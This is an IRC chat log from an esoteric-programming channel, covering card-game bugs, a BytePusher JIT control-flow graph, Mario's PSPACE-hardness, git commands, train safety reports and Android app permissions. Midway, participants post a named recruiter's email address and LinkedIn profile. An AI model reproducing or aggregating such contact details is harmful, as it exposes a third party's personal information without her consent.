Gatherer used to have a lot of bugs about split and flip cards. I think they fixed those now, but now they have at least one bug about double-faced card.s 10:25:43 ...I wonder how a card game could have bugs, but yet, the rules of a card game are a program the players follow. 10:26:05 Well, Magic: The Gathering isn't even decidable. 10:26:28 That could make things difficult. 10:27:26 gamemanj: I said _Gatherer_ had bugs. it's a software. 10:27:39 but yes, the card game also has bugs 10:28:00 Ah. (I have no idea what's what, so I'm just being very general about what I say) 10:28:28 this templating inconsistency with Intervene I was talking about is a bug in the card game, although it's a very minor doc bug, not an important bug. there are bigger bugs that pop up occasionally. 10:29:17 (I'm still annoyed by Hollow Dogs being a Zombie instead of a Skeleton, but that's not definitely a bug) 10:32:26 -!- Reece` has joined. 10:39:09 hmm, how many nodes do I need to put in a graph before it annoys people who try to understand it? 10:40:40 I'll probably try the customer service 10:44:14 gamemanj, 5 10:44:46 Taneb: Ok, so a graph of the Audio Test it is - that only has 2 nodes. 10:45:52 Also note that zzo38's program would be a better fit if it wasn't somehow able to change it's own jump value... 10:46:01 ...on every instruction... 10:46:22 or, at least, that's what the analyzer's saying 10:50:03 Oh, it's the second segment generalization pass that's doing it... it runs the pass twice so that it won't have to recompile segments as much, but somehow zzo38's program is theoretically capable of self-modification. It's probably not, but it's convinced the analyzer. 10:50:27 -!- ais523 has joined. 10:53:32 -!- ais523 has quit (Client Quit). 10:53:49 -!- ais523 has joined. 10:53:58 -!- ais523 has quit (Changing host). 10:53:58 -!- ais523 has joined. 10:55:13 -!- Koen__ has joined. 10:57:36 -!- Koen_ has quit (Ping timeout: 246 seconds). 11:03:36 -!- gremlins has joined. 11:03:48 -!- gremlins has quit (Remote host closed the connection). 11:04:11 -!- gremlins has joined. 11:06:07 -!- Reece` has quit (Ping timeout: 260 seconds). 11:27:52 -!- ais523 has quit (Remote host closed the connection). 11:28:13 -!- ais523 has joined. 11:28:45 If I can recognize the structure of my font renderer in a directed graph of control flow... am I crazy? 11:32:39 gamemanj: I see no causal relationship between the two. 11:33:25 that said you might be crazy for other reasons 11:33:35 * int-e absent-mindedly mapoles oerjan before he realizes that he's not even there. 11:34:12 which is why I didn't just reply with a simple "no". 11:34:49 -!- boily has joined. 11:35:26 gamemanj: I'll be more blunt: Be careful or the bytes will push you over the edge ;-) 11:35:46 (hurray for weak puns) 11:36:01 int-e: stare into the heart of the bytes https://dl.dropboxusercontent.com/u/21184720/project-i.svg 11:36:16 (WARNING: Big file) 11:36:57 gamemanj: you'll have to forgive me, I find that graph confusing :P 11:37:02 I am also confused 11:37:27 Like, I know what code it's from, but I don't have a symbol table 11:37:54 why is there a red edge 11:38:05 red means the virtual machine was interrupted 11:38:17 and is graphviz really still the most usable graph renderer around? 11:38:30 Well, it was a bit slow, but then again the input .dot was REALLY BIG 11:38:34 (64k or so) 11:38:42 And also .dot is simple 11:39:02 Reminder: At some point this had to be generated 11:39:16 and what are the labels on the edges? 11:39:35 number of instructions? 11:39:37 yes 11:40:05 Basically this graph doesn't show every instruction, it instead condenses it into "segments" 11:40:16 This is more or less an offshoot of a test to see how JITable BytePusher could be 11:40:44 oh there's a 520 instructions edge... neat 11:40:49 Each square or circle represents a segment. Not shown are the "alternate" versions of segments which are generated to handle parallel universes 11:41:00 @massages-loud 11:41:00 shachaf said 4h 12m 17s ago: if only you were here to measure my funpun tdnh 11:41:15 (If the compilation of the segment made assumptions which turned out to be wrong, a parallel version is made to handle the new condition) 11:41:25 @ask shachaf hellochaf. you punned? 11:41:26 Consider it noted. 11:41:33 for the record, the mapole is for oerjan said 10h 42m 18s ago: lambdabot still lacks enabled extensions (like GeneralizedNewtypeDeriving) for enterprise exploit searching tdnh 11:41:36 (All versions of all segments are cached, but they are not generated until needed) 11:42:06 I think GND is still not considered to be SafeHaskell anyway. 11:43:03 hmm, there's a rectangle... 11:43:16 Rectangle means that there has been at least one initialization at that point 11:43:23 (actually, a few of them) 11:43:37 That is, the 2/3/4 address was set there on at least one frame 11:43:41 Usually you will find that only red lines lead to these, but that may not always be the case 11:43:58 so self-modifying code? 11:44:12 No, just changing the per-frame address 11:44:19 The self-modification is more or less obscured by this graph. 11:44:24 okay 11:44:39 Mind, the reason this graph is more than just 2 nodes is because it does self-modify jump addresses and such 11:44:42 To actually perform calculations 11:44:53 Things like the Audio Test are 2 nodes 11:44:53 I don't know what per-frame address means, and I don't want to know right now :P 11:45:13 Well, it's the same thing as the red lines, really 11:45:30 As I said - VM interrupt 11:45:54 If you don't find any red lines going to a rectangle, 11:45:54 "This train is experiencing difficulties, which are being dealt with." First time I've heard that one. 11:46:09 that's probably the initialization node - the first code the VM executes. 11:47:37 Aha. Initialization is at 47e. 11:47:55 fizzie: is this train in the UK? or was that translated? it sounds strangely nonidiomatic 11:48:12 From that, I can infer that fc2ef7 is the Internal Keyboard Test part of the system. 11:49:22 ais523: South West Trains, so UK. 11:49:39 https://twitter.com/suzytimms/status/615391949701423104 11:49:57 very vague :-( 11:50:04 int-e: For future reference, if an address ends in f4, it usually means "false", if it ends in f7, it usually means "true". 11:50:20 I learned a ton about health and safety from reading train accident reports 11:50:20 also learned quite a bit about how trains fail in the process 11:50:42 (they fail pretty safe; there are reports where things went catastrophically wrong and still nobody was hurt) 11:50:44 It did continue: "Please listen for further announcements from [unintelligible]." 11:51:10 -!- Koen__ has quit (Quit: Leaving...). 11:51:13 fizzie: Are you actually in this train? 11:51:25 I didn't notice any difficulties, and there were no further announcements, so possibly it was played back by mistake. 11:51:55 I was on that train a few minutes ago, now I'm in a different one already. 11:51:56 fizzie: see #trains hth 11:52:15 I keep forgetting about #trains. 11:52:18 boily: possibly hth 11:52:19 there was this report that came out recently, and actually lead to the train company responsible being /banned/ from the railways, but nobody was hurt: https://www.gov.uk/raib-reports/dangerous-occurrence-at-wootton-bassett-junction-wiltshire 11:53:00 (I suspect that the reason for the ban was related to the whole thing about intentionally disabling safety systems that would have prevented the accident) 11:56:26 "RAIB has identified one key learning point. This is that allowing safety critical systems such as AWS and TPWS to function without improper interference is vital to the safe operation of the railway." 11:56:33 Good thing to learn. 11:57:39 -!- augur has joined. 12:00:26 -!- ais523 has quit. 12:02:28 -!- augur has quit (Ping timeout: 244 seconds). 12:04:43 -!- Phantom_Hoover has joined. 12:19:18 `learn bézout/Bézout's theorem says that if a system of polynomial equations over the complexes has as many variables as equations, then in the general case the number of solutions it has is equal to the product of one less than the degrees of the polynomials. 12:19:43 ​/hackenv/bin/learn: line 4: wisdom/bézout/bézout': No such file or directory \ Learned 'bézout/bézout'': bézout/Bézout's theorem says that if a system of polynomial equations over the complexes has as many variables as equations, then in the general case the number of solutions it has is equal to the product of one less than the degrees of 12:19:51 `slashlearn bézout/Bézout's theorem says that if a system of polynomial equations over the complexes has as many variables as equations, then in the general case the number of solutions it has is equal to the product of one less than the degrees of the polynomials. 12:20:03 Learned «bézout» 12:20:17 ``` cp -i wisdom/{bézout,bézout's} 12:20:20 bash: -c: line 0: unexpected EOF while looking for matching `'' \ bash: -c: line 1: syntax error: unexpected end of file 12:20:30 ``` cp -i "wisdom/{bézout,bézout's}" 12:20:32 cp: missing destination file operand after `wisdom/{b\303\251zout,b\303\251zout\'s}' \ Try `cp --help' for more information. 12:20:42 ``` cp -i wisdom/{bézout,bézout\'s} 12:20:49 No output. 12:20:53 ``` cp -i wisdom/{bézout,bezout} 12:20:58 No output. 12:20:59 ``` cp -i wisdom/{bézout,bezout\'s} 12:21:02 ``` cp -i wisdom/{bézout,bezout\'s theorem} 12:21:05 No output. 12:21:06 cp: cannot stat `wisdom/{b\303\251zout,bezout\'s': No such file or directory 12:21:25 ``` cp -vi wisdom/{bézout,bezout"'s theorem"} 12:21:30 ​`wisdom/b\303\251zout' -> `wisdom/bezout\'s theorem' 12:21:33 ``` cp -vi wisdom/{bézout,bézout"'s theorem"} 12:21:37 ​`wisdom/b\303\251zout' -> `wisdom/b\303\251zout\'s theorem' 12:27:06 `wisdom 12:27:11 itidus21//itidus21 just made some instant coffee, and did it again an instant later, and then again and again. where is all this coffee coming from? it has buried itidus21! where is itidus21? 12:27:28 @ask itidus21 where are you? 12:27:28 Consider it noted. 12:27:35 -!- boily has quit (Quit: BALCONY CHICKEN). 12:32:43 boily: probably under a lot of instant coffee 12:34:30 -!- ybden has joined. 12:45:07 -!- hppavilion[1] has joined. 12:49:34 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 13:06:47 -!- Elronnd\StD has quit (Quit: Let's jump!). 13:07:10 hmm, any connection? ... boily has quit [Quit: BALCONY CHICKEN] Elronnd\StD has quit [Quit: Let's jump!] 13:11:41 -!- Elronnd has joined. 13:15:35 ...jumping off of the Balcony is a bad idea before defeating . After defeating , it is still a bad idea, unless you wish to receive the "bad" ending... 13:18:04 what if, instead of jumping off the Balcony, you drop that huge beam on him by shooting the supporting chains? 13:18:39 ...I have no idea what we're talking about. 13:20:44 "Madotsuki climbs the stairs, jumps off the side of the balcony and plummets downward, then everything becomes dark." ?! 13:21:24 Oh. I thought we were talking about something entirely different. 13:21:51 I guess there must be many games with balconies :P 13:22:00 that's the first one google found for me 13:22:10 Now, why someone would waste their time climbing up stairs only to jump off a balcony... 13:22:31 They could just, you know, walk to the area under the balcony. 13:23:37 since I've read about the game for all of 5 minutes I can tell you that you can't... because your room door is impassable (locked? apparently the heroine doesn't even bother trying the door, and just shakes her head) 13:44:33 `? pk 13:44:55 pk? ¯\(°​_o)/¯ 13:47:01 -!- Sgeo has quit (Ping timeout: 240 seconds). 13:47:11 so super mario bros is PSPACE-complete, eh 13:47:52 `learn PK is short for Phil Katz, an infamous player killer of the 1990s whose favorite method of attack was to deflate his enemies. 13:48:03 Learned 'pk': PK is short for Phil Katz, an infamous player killer of the 1990s whose favorite method of attack was to deflate his enemies. 13:49:02 super mario bros has crazy game mechanics... knocking monsters up through bricks? 13:50:23 http://news.mit.edu/2016/mario-brothers-hard-complexity-class-pspace-0601 heh nice 13:50:56 `? mario 13:50:59 Mario is a classic NP-hard problem invented by Nintendo. 13:51:13 ``` echo wisdom/*[mM]ario* 13:51:15 wisdom/mario wisdom/supermarionation wisdom/supermarioperator 13:51:24 oh, this'll be fun 13:51:29 `? supermarionation 13:51:30 supermarionation is another name for the mushroom kingdom. 13:51:46 `? supermarioperator 13:51:47 supermarioperator is one of many confusing operators as defined in Control.Plumbers.Monad. Your sanity is in another castle. 13:53:39 Is there a class between "finite state machine" and "turing-complete" for things that would be turing-complete if their environment gave them access to an external infinite memory? 13:54:25 izabera: I don't understand why that's somehow news today. is there a paper that proves something more than the original paper from 2009? 13:54:58 I mean, wasn't it already turing complete back then? or am I confusing mario games or something? 13:55:05 um 13:55:07 not turing complete 13:55:09 pspace complete 13:55:10 duh 13:55:14 `? pspace 13:55:15 pspace? ¯\(°​_o)/¯ 13:55:36 gamemanj: that seems a bit pointless; after all, Turing machines are finite automata with access to an infinite memory 13:57:01 hmm, maybe the original super mario paper is form 2012 13:57:09 int-e: Hmm, I suppose. 13:57:28 b_jonas: http://erikdemaine.org/papers/Mario_FUN2016/paper.pdf 13:57:33 http://arxiv.org/abs/1203.1895 by Greg Aloupis, Erik D. Demaine, Alan Guo, Giovanni Viglietta is I think the famous paper, althoguh the research does go back by years 13:57:45 It's just that how finite the finite state machine is defines if it could implement something. 13:57:57 do we have wisdom entries about this? I thoguht `? mario or something would tell 13:58:02 `? super mario 13:58:05 super mario? ¯\(°​_o)/¯ 13:58:20 int-e: thanks 13:59:18 wait... what 13:59:35 int-e: ok, that's REALLY interesting 13:59:44 int-e: thanks for nudging, I'll have to look at that article in detail 13:59:58 later, that is 14:00:50 essentially they have a new door device that looks embarassingly simple, but is based on a game mechanic that I didn't expect. 14:00:55 (I've never played those games) 14:01:26 int-e: it doesn't matter much, the original result is quite general and applies to lots of games, so I expect this one would as well 14:01:35 a specific game or two doesn't matter 14:01:52 you've probably played at least one 2d scroller game where it applies 14:02:00 where some of the results apply that is 14:10:35 There isn't much new from the general framework perspective, I think; they just instantiate their existing PSPACE framework. 14:12:36 well, there's an interesting idea of exploiting timers for NP-hardness proofs. 14:13:49 -!- Akaibu has joined. 14:17:11 int-e: ok, I will still read later 14:23:44 -!- gremlins has quit (Quit: Alsithyafturttararfunar). 14:44:03 -!- AnotherTest has joined. 14:51:24 -!- AnotherTest has quit (Ping timeout: 272 seconds). 14:53:43 -!- `^_^v has joined. 15:10:45 -!- Kaynato has joined. 15:22:10 -!- spiette has joined. 15:24:09 -!- hwpplayer1 has joined. 15:24:14 -!- hwpplayer1 has left. 15:32:12 Git question. How do I list all tags together with the commits they point to? (git branch -l -a -v) lists all branches together with the commit id they point to (plus two other columns that are irrelevant here), but (git tag -l) which lists tags doesn't have the relevant fields. Do I have to invoke (git rev-parse) for each tag or something? 15:39:58 git tag --format '%(refname:short) %(objectname)' 15:40:27 (hmm, better swap those two fields to get a readable output) 15:46:37 -!- lambda-11235 has joined. 15:49:51 int-e: thanks 15:50:40 and apparently --format is an argument that doesn't work for the (git branch) command, so I can't just do almost the same thing for tags and branches 15:50:43 but no matter 15:50:49 this will help, I'll add it to my script 15:53:49 git for-each-ref --format '%(objectname) %(refname)' refs/heads refs/tags 15:54:17 (there's a reference to git-for-each-ref in the documentation for git-tag's --format flag) 15:56:22 it's just getting more low-level that way... but you can treat tags and branches and remote branches in a fairly uniform way 16:10:17 int-e: ah, thanks 16:10:54 I'm already treating remote branches too (well, fetched snapshots of remote branhces), because git branch -a does that 16:14:07 but it's good to know about for-each-ref , I'll use that next time I want this 16:19:45 `learn Mario is a classic PSPACE-complete problem invented by Nintendo. 16:20:15 Relearned 'mario': Mario is a classic PSPACE-complete problem invented by Nintendo. 16:20:15 -!- spiette has quit (Ping timeout: 264 seconds). 16:58:22 -!- izabera has quit (Ping timeout: 244 seconds). 17:08:39 -!- augur has joined. 17:10:02 -!- augur has quit (Remote host closed the connection). 17:10:26 -!- izabera1 has joined. 17:11:33 [wiki] [[A programming language is a formal constructed language designed to communicate instructions to a machine, particularly a computer.]] https://esolangs.org/w/index.php?diff=47097&oldid=46134 * M654 * (+86) 17:16:11 -!- ybden_ has joined. 17:18:27 -!- spiette has joined. 17:18:54 -!- ybden_ has quit (Client Quit). 17:19:06 -!- ybden_ has joined. 17:19:56 -!- izabera1 has changed nick to izabera. 17:26:43 -!- ybden_ has quit (Quit: ZNC - http://znc.in). 17:26:53 -!- ybden_ has joined. 17:28:21 -!- ybden_ has quit (Client Quit). 17:28:37 -!- ybden_ has joined. 18:40:23 -!- ybden_ has quit (Quit: ZNC - http://znc.in). 18:40:35 -!- ybden_ has joined. 18:41:31 -!- ybden has quit (Quit: leaving). 18:42:29 -!- ybden_ has changed nick to ybden. 18:47:29 -!- ybden has quit (Quit: ZNC - http://znc.in). 18:47:39 -!- ybden has joined. 18:50:10 -!- xkapastel has joined. 19:09:56 -!- idris-bot has quit (Quit: Terminated). 19:10:12 -!- Melvar has quit (Quit: thunderstorms). 19:33:00 Does it /have/ to be formal? 19:45:19 tricky question 19:46:31 I'm inclined to say yes, with the justification that any implementation of the programming language can serve as a formal specification... but you can take a more strict view on what "formal" means... 19:46:32 -!- Vorpal has quit (Ping timeout: 272 seconds). 19:47:54 and there's a large grey area anyway... if you tell Siri to add two and three, and multiply the result by five... and assuming it does so... does that constitute an act of programming? 19:48:58 why doesn't the google assistant have a name 19:49:05 -!- Melvar has joined. 19:49:16 <\oren\> google now? 19:49:40 even microsoft gave their Siri a name... Cortana. 19:49:57 but Google calls theirs "Assistant". 19:50:17 (as far as I can see, please tell me if I'm wrong) 19:50:39 -!- Vorpal has joined. 19:50:57 <\oren\> hmm i shpuod probably know more about those than i do 19:51:17 <\oren\> theyre our competitors after all 19:52:16 <\oren\> its officially called the google now app 19:54:19 "Hey, now, what's the time?" ... mmm, no that doesn't sound right. 19:54:21 :-P 19:56:35 -!- idris-bot has joined. 19:58:04 <\oren\> with most of tjese you can customize the actovation phrase 20:00:20 hmm, another memory lapse... I read some scifi story where the hero (who is with the military), together with some hundred other people, gets an assistant implanted... and he decides to call it "asshole"... and gets warned that this is a very popular choice. 20:01:16 <\oren\> this will be important when you have a voice activated car and phone. "hey Civic" to talk to your car. "hey galaxy" to talk to your phone 20:01:53 <\oren\> the defaults are important for product branding 20:02:07 -!- nycs has joined. 20:02:31 Okay Google? 20:04:41 -!- `^_^v has quit (Ping timeout: 240 seconds). 20:06:09 <\oren\> argh speaking of google some sort of recruiter from them called me just now. 20:07:01 <\oren\> what a pain 20:07:08 On the one hand, you could say "what, they just... called you???"... on the other hand, what's the chance it's really a google recruiter? 20:07:56 <\oren\> well the same person had emailed me and is pestering me on linkedin 20:08:01 I theorize that it is actually Vermicious Knid. 20:08:12 *actually a Vermicious Knid. 20:08:17 Did the recruiter tell you to scram? 20:08:21 are you at work where you can forward them to the legal department :P 20:09:24 <\oren\> screw it the email is 20:09:43 <\oren\> gzarnegar@google.com 20:09:56 sounds legitimate 20:09:57 ...did you double check the authenticity of the sender? 20:10:01 Check the email headers 20:10:08 Received-From, etc. 20:10:34 Why are you expecting the email to be illegitimate? 20:11:05 shachaf: Not expecting, but it's a possibility that should be kept in mind 20:11:33 <\oren\> it looks legit. seems sleazy for them to be nagging a competirors employees 20:11:44 Why is that sleazy? 20:11:50 Sleazy would be the opposite. 20:11:59 In fact they got sued for it. 20:12:20 Anyway, that's a legitimate @google.com email address, it's easy to look it up. 20:12:55 So you can just send email to it. 20:13:56 <\oren\> i just dumped her over the phone 20:14:12 ...That phrasing has fun implications. 20:14:38 good idea, I don't like phones either? 20:14:55 https://www.linkedin.com/in/gabbyzarnegar appears to be the person in question 20:15:03 <\oren\> yup 20:15:16 You work at SoundHound, don't you? 20:15:20 <\oren\> yup 20:15:20 Is that even a competitor? 20:15:54 <\oren\> yes. i work on our voice assisyant, Hound 20:16:09 And Google does have a sound search feature as well. 20:16:15 Though I'd guess most people don't even know it exists. 20:16:26 Google's search feature is pretty sound. 20:16:30 <\oren\> and the Houndify platform 20:16:47 A (sound search) feature, not a sound (search feature). 20:17:00 So it searches soundly? 20:17:22 Or are you talking about Google Maps? 20:17:29 I guess it can search bays too. 20:17:36 ... 20:18:04 oh man 20:18:09 "I have experience using both the Waterfall methodology and Agile/XP methodologies" 20:18:16 so many methodologies 20:18:32 <\oren\> unfortunayely yes 20:18:57 did someone post oren's job history into a side-channel or something? 20:19:07 Is there anyone who says that they "use Waterfall"? 20:19:12 I thought it was mostly a straw man. 20:19:23 <\oren\> nah hes probably reading my linkedin 20:19:37 -!- hppavilion[1] has joined. 20:19:55 straw men should easily keep afloat ... 20:20:09 Now I'm reading https://www.quora.com/How-can-the-sequence-3-7-15-31-63-etc-be-continued/answer/Oren-Watson 20:20:21 But I think you got that one wrong. 20:20:37 http://slbkbs.org/math-diff-2-4.txt explains the correct method. 20:20:46 127. 126. 42. 20:22:27 Puget Sound is the only sound I know of. 20:24:19 > let ex [x] = repeat x; ex xs = scanl (+) (head xs) (ex (zipWith (-) (tail xs) xs)) in ex [0,1,3,7,15,31,63] 20:24:21 [0,1,3,7,15,31,63,126,246,465,847,1485,2509,4095,6475,9948,14892,21777,31179... 20:24:23 fizzie: That's a sound sound, though. 20:25:26 int-e: I think I'd continue it as 3, 7, 15, 31, 17, 17, 17, 17, 17, 17, ... 20:25:32 ("ex" stands for "extrapolate", of course) 20:26:25 shachaf: hmm, 17 would come after 42 for me, in the list of most plausible answers 20:26:45 int-e: Well, did you read the link I posted? 20:28:06 shachaf: not in full detail. but according to that link you should continue with 19 :-P 20:29:35 Are there any shell-based twitter clients? 20:29:52 . o O ( curl ) 20:30:40 I'd also bet that the answer is yes. 20:30:48 I just don't know any. 20:31:17 and I'm too lazy to construct a lmgtfy link. 20:32:14 `? int-e 20:32:39 -!- Nithogg_ has quit (Ping timeout: 246 seconds). 20:32:39 int-e är inte svensk. Hen kommer att spränga solen. Hen står för sig själv. 20:32:45 ... it should probably say something about being obnoxious there. 20:34:08 int-e attempts to use certain spräk deriviations to confuse gamemanj. 20:34:18 int-e succeeds in this. 20:34:19 -!- Nithogg_ has joined. 20:34:27 `culprits int-e 20:34:36 `culprits wisdom/int-e 20:34:40 No output. 20:34:49 oerjan boily boily oerjan oerjan 20:34:53 (though the former question is also valid... but hackego isn't the authority on that matter) 20:35:27 so, if you're too lazy to construct a lmgtfy link... 20:35:43 does that mean you need a lmlmgtfyfy link? 20:35:52 gamemanj: basically "inte" is a swedish word, meaning "not"... so that gave rise to the first sentence, and I pretty much gave you all information that is required to guess its meaning... 20:36:20 gamemanj: perhaps 20:36:23 int-e, are you... swedish 20:36:41 Phantom_Hoover: ... 20:36:56 (for future reference, I do not know Swedish, but I know Swedish text when I see it, and I also know that spräk means language.) 20:37:00 well, no. 20:37:05 int-e, don't play games with me this is serious! 20:37:07 ok goo 20:37:08 *d 20:37:23 why would that be a bad thing? 20:37:25 I don't know the language either. 20:37:44 int-e: You're too lazy to make a lmgtfy link? 20:37:56 hppavilion[1]: I already commented on that. 20:38:13 hppavilion[1]: The solution is a lmlmgtfyfy link. 20:38:31 it's funny because it's meta 20:38:42 or, meta-meta, really. 20:38:43 <\oren\> or a mklmgtfy command 20:39:23 @google twitter command line client linux 20:39:24 http://www.tecmint.com/rainbow-stream-command-line-twitter-client-linux/ 20:39:24 Title: Rainbow Stream - An Advanced Command-line Twitter Client for Linux 20:39:56 @lmgtfy help 20:39:56 Unknown command, try @list 20:40:06 clearly there's room for improvement there 20:40:15 <\oren\> i always[assumed int-e was a variable declaration 20:40:27 \oren\: I tried to use SoundHound but it didn't work. 20:40:31 Ever. 20:40:47 You're supposed to be able to hum into it to find a name for a melody, right? 20:41:26 <\oren\> yes. although it only works if youre good at humming i find 20:41:42 now I want to try soundhound 20:41:48 with really obscure songs 20:42:39 OK 20:42:45 "[translation] both our infinite dreams and our sketched out future..." 20:42:54 `lmg shell-based twitter client 20:42:55 http://lmgtfy.com/?q=shell-based+twitter+client 20:43:03 Probably not perfect, but it works at least a little 20:43:14 <\oren\> liquid mineral gas? 20:43:29 (It won't substitute special characters with %-codes, but it will at least deal with spaces) 20:43:31 \oren\: Yeah, sure 20:43:44 ludicrous mind games 20:43:51 int-e: You're welcome 20:44:03 thanks 20:44:06 ...soundhound wants access to: Location, Files, Microphone, Wi-Fi connection information, Device ID and call information... 20:44:14 there are 4 of those which should not be in that list 20:44:22 Location, Files, Device ID and call information 20:44:33 i use bitlbee. does this qualify as a shell-based twitter client? 20:44:42 probs not 20:44:51 gamemanj: I've always hated apps that request permissions they should not want. I never give them permission to, in most cases 20:45:16 <\oren\> hmmm not sure why it wants those 20:45:19 Location it just shouldn't have, end of. Files it could possibly have a reason to access if you told it to. 20:45:26 Microphone it obviously needs. 20:45:40 Wi-Fi connection information is fine because you don't want it to eat data costs. 20:45:46 For example, no game should want any permissions. /Maybe/ pictures if it has a built-in screencap capability 20:45:52 <\oren\> location is so it can tell you what oeople near you are listenibg to 20:45:53 Doesn't lmgtfy.com have a "slightly less rude" mode? 20:45:56 actually location seems to be the most useful of the four... popular songs vary wildly by country 20:46:02 shachaf: Does it? 20:46:10 Wrong - moddable games need some way to give them the Lua files. But it shouldn't have anything else. 20:46:16 OMG 20:46:19 There's LMBTFY 20:46:33 For horrible people 20:46:35 int-e: That's even worse, since it means it won't find my really obscure song of choice. 20:46:48 device id makes no sense at all to me (except for tracking, obviously), and neither do contacts (but I bet there's a "share this find with..." feature) 20:46:58 gamemanj: the other 99% of users won't care! 20:47:04 ... 20:47:07 hmph 20:47:16 <\oren\> there is sociak media integration yeah 20:47:24 i dont mind games wanting internetty permissions, for scoreboards and the like 20:47:29 files... no clue why it wants that 20:47:47 shachaf: Can't find anything labeled "less rude" or the like 20:47:53 Just about everything seems to want the USB storage permission. 20:47:56 Oh, you add &n=1 to the URL. 20:47:56 <\oren\> it can save songs tpfrom itunes etc 20:47:56 It's v. annoying. 20:48:01 It's slightly less rude that way. 20:48:10 big data idea: get a taste for music preferences :P 20:48:16 There is a theoretical reason that it would want files, so that you can give it music 20:48:29 without having to play it back into the phone 20:48:45 Really it's location and device ID that it has no reason for 20:48:53 <\oren\> and you can use it as a music plqyer app 20:48:56 If I get more calls 20:49:01 because of this app 20:49:13 At least in M and later you can just turn off those permissions you don't want to give. 20:49:46 Android? 20:49:53 SoundHound seems to work (or at least run) with location, storage and telephone ("phone status and identity") disabled. 20:50:04 Mascarpone isn't even a dessert. 20:51:36 int-e: Well, according to that link, I should use my favourite number + 1. 20:51:38 what's wrong is that there's essentially no penalty for apps that ask for excessive permissions. 20:51:42 <\oren\> i only work on Hound though not soundhound, and only the backend 20:51:44 * gamemanj hums "SoundHound Did Not Hear Any Music" 20:51:44 So as to avoid revealing any character defects. 20:51:47 ... 20:52:29 Oh, the most annoying SoundHound feature I know of: it pops up notifications about songs apparently at random. 20:52:31 ... 20:52:32 Wow 20:52:35 It actually found it 20:52:37 so whenever a feature is added that might, in some obscure case, use a certain feature... 20:52:41 Well done, SoundHound 20:52:46 -!- AnotherTest has joined. 20:53:58 so... why doesn't it have accelerometer access... surely that must be useful to compensate for the doppler effect when you drop the phone while humming a song... 20:53:58 But can you set permissions in smaller pieces than that (such as to specify which directories it can see and which one it sees as root of the storage, and which internet services it can access and what proxies to use, and to fake device ID and so on)? 20:54:28 zzo38: At some point it would become "too difficult for users to use" 20:54:44 Put it into the "Advanced" menu then. 20:54:44 (but perhaps you don't have to ask permission for those?) 20:55:02 <\oren\> to difficult for[users to bother doing 20:55:04 Also recalibration of accelerometer per program 20:55:22 shachaf: What if your favorite number is -1? 20:55:55 > [2^n | n <- [0..]] :: [Int8] 20:55:57 [1,2,4,8,16,32,64,-128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0... 20:56:15 fungot: What's your favorite number 20:56:15 hppavilion[1]: look at the chicago kent symposium which deals with narrow scope of the " round body mustang" and the beatles' " all you need is love" are both in use. fnord ( user fnord) 20:56:16 ? 20:56:22 What if my favourite number is -1? 20:56:31 I've asked zzo38 what my favourite number is but he won't tell me. 20:56:46 shachaf: Wait, you use your favorite number + 1 where? According to what link? 20:57:00 The http link I posted above. 20:57:28 It was after you joined. 20:57:42 int-e: You don't need special permissions for the accelerometer. You do need the BODY_SENSORS permission "to access data from sensors that the user uses to measure what is happening inside his/her body, such as heart rate." 20:59:42 Of course in certain situations the accelerometer... 20:59:47 Ah, I see 21:00:01 I thought it was on &n=1 21:02:32 -!- AnotherTest has quit (Ping timeout: 272 seconds). 21:06:13 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 21:17:24 fizzie: eh, there are all sorts of permissions which could be evil in "certain situations" 21:19:10 That is why to add the ability to configure proxies and so on 21:20:05 If the phone's accelerometer detects a certain special sequence of movements, then it should log this information for future use. 21:20:24 "Android keylogger app – powered by accelerometer/gyroscope movements – revealed" 21:20:38 2011.. has it been that long 21:21:32 nice, I was thinking about building one of those, glad it's already done so I don't have to 21:25:35 -!- nycs has quit (Read error: Connection reset by peer). 21:27:43 -!- hppavilion[1] has joined. 21:28:16 Hm... 21:28:34 The inverse (or something) of the pigeonhole principle is something I haven't heard talked about 21:28:54 If you have n pigeons in n+1 holes, then there is at least one empty hole 21:28:58 <\oren\> can i use kinect to set a password consisting of poses? 21:29:18 <\oren\> a para para password 21:29:29 \oren\: If you're willing to root the system, then yes. 21:29:33 \oren\: Otherwise, maybe 21:31:00 Honestly, I wonder why there isn't legislation requiring legitimate owners of a computer system to be able to legally and easily (like, easy-to-find-guide-on-the-website easy) root the system. 21:31:41 Like, I don't see how it can be legal to prevent the legitimate owner of a system from doing whatever the hell they want with that system, as long as they aren't violating other laws in the process 21:34:01 hollywood is too strong for that to happen in the US 21:34:21 how will you protect movies on hardware that's actually run by its owners? 21:34:43 oversimplifying, of course, but DRM is a driving factor behind all this 21:35:16 I was designing the computer machine and had the idea to use a combination of copyright and trademark laws to ensure that anyone who has such a computer (regardless of if it is a clone from another manufacturer or whatever) can legally and easily root the system (although you are unliekly to need to root it to do nearly all things, and to alter ROMs and so on requires a standard screwdriver) 21:35:38 and vendors aren't too unhappy about the resulting customer lockin either 21:43:29 It's kinda bizarre how much clout Hollywood has relative to their actual wealth. 21:46:35 hppavilion[1], the phrasing of that makes it sound like a tautology 21:46:42 I love today's xkcd 21:46:58 Phantom_Hoover: Yes, I know 21:47:41 -!- gamemanj has quit (Ping timeout: 240 seconds). 21:51:51 -!- `^_^v has joined. 21:59:09 -!- jaboja has joined. 22:14:03 -!- idris-bot has quit (Ping timeout: 276 seconds). 22:22:44 -!- `^_^v has quit (Quit: This computer has gone to sleep). 22:41:22 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 22:48:19 -!- idris-bot has joined. 22:49:04 -!- boily has joined. 23:03:12 -!- PinealGlandOptic has joined. 23:07:31 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 23:07:47 Is there a low-level git command that prints the .git directory for the current repository, and one that prints the directory associated with the current worktree? 23:08:13 And I guess one that prints the root directory of the checkout also helps. 23:08:42 Also, is there a website where I can see the full manual pages of git online, always for a recent version of git (more fresh than what I have installed)? I'm trying to look at https://git-scm.com/docs/git but that seems to be missing some generated part of the git(1) manpage where it lists commands. 23:09:53 -!- Phantom_Hoover has joined. 23:11:12 -!- Phantom_Hoover has quit (Remote host closed the connection). 23:11:33 -!- Phantom_Hoover has joined. 23:14:12 -!- hppavilion[1] has joined. 23:15:10 -!- Sgeo has joined. 23:29:24 -!- Nithogg_ has quit (Ping timeout: 246 seconds). 23:31:53 -!- Elronnd has changed nick to Elronnd\StD. 23:34:04 -!- Nithogg_ has joined. 23:40:26 b_jonas: git rev-parse --show-toplevel 23:41:30 b_jonas: I meant: git rev-parse --git-dir 23:41:38 For the .git directory. 